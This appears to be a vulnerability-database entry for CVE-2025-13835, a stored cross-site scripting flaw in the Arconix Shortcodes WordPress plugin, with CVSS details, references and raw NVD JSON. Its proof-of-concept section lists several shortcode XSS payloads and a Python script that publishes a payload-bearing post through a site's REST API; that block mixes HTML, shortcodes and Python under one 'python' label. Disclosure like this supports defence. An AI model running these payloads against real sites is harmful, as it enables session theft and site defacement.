CVE-2025-13835

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in tychesoftwares Arconix Shortcodes arconix-shortcodes allows Stored XSS.This issue affects Arconix Shortcodes: from n/a through <= 2.1.20.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Arconix Shortcodes <= 2.1.20 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-13835 PoC - Stored XSS in Arconix Shortcodes -->
<!-- WordPress管理员或作者权限账户可利用此漏洞 -->

<!-- 方法1: 使用折叠框短代码注入XSS -->
[accordions]
[accordion title='<img src=x onerror=alert(document.cookie)>']
恶意内容
[/accordion]
[/accordions]

<!-- 方法2: 使用警告框短代码注入XSS -->
[box type='alert' style='x" onerror="alert(String.fromCharCode(88,83,83))" data-x="']
内容
[/box]

<!-- 方法3: 使用标签页短代码注入XSS -->
[tabs]
[tab title='<script>alert(document.domain)</script>']
标签内容
[/tab]
[/tabs]

<!-- 方法4: 利用data属性注入 -->
[button link='javascript:alert(document.cookie)' style='x' class='" onfocus="alert(1)" autofocus="']
按钮文字
[/button]

<!-- 自动化检测脚本 (Python) -->
import requests

target_url = 'https://target-site.com/wp-json/wp/v2/posts'
headers = {
    'Content-Type': 'application/json',
    'Authorization': 'Bearer <YOUR_AUTH_TOKEN>'
}

# 构造包含XSS payload的文章内容
payload = {
    'title': 'XSS Test Post',
    'content': '[box type="alert"]<img src=x onerror=alert(document.cookie)>[/box]',
    'status': 'publish'
}

response = requests.post(target_url, json=payload, headers=headers)
print(f'Post created: {response.status_code}')
print(f'Response: {response.json()}')

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-13835
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-13835
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-13835/
[4] VulDB https://vuldb.com/cve/CVE-2025-13835
[5] https://patchstack.com/database/Wordpress/Plugin/arconix-shortcodes/vulnerability/wordpress-arconix-shortcodes-plugin-2-1-19-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-13835", "sourceIdentifier": "[email protected]", "published": "2025-12-01T18:16:04.000", "lastModified": "2026-04-23T15:22:53.243", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in tychesoftwares Arconix Shortcodes arconix-shortcodes allows Stored XSS.This issue affects Arconix Shortcodes: from n/a through <= 2.1.20."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/arconix-shortcodes/vulnerability/wordpress-arconix-shortcodes-plugin-2-1-19-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}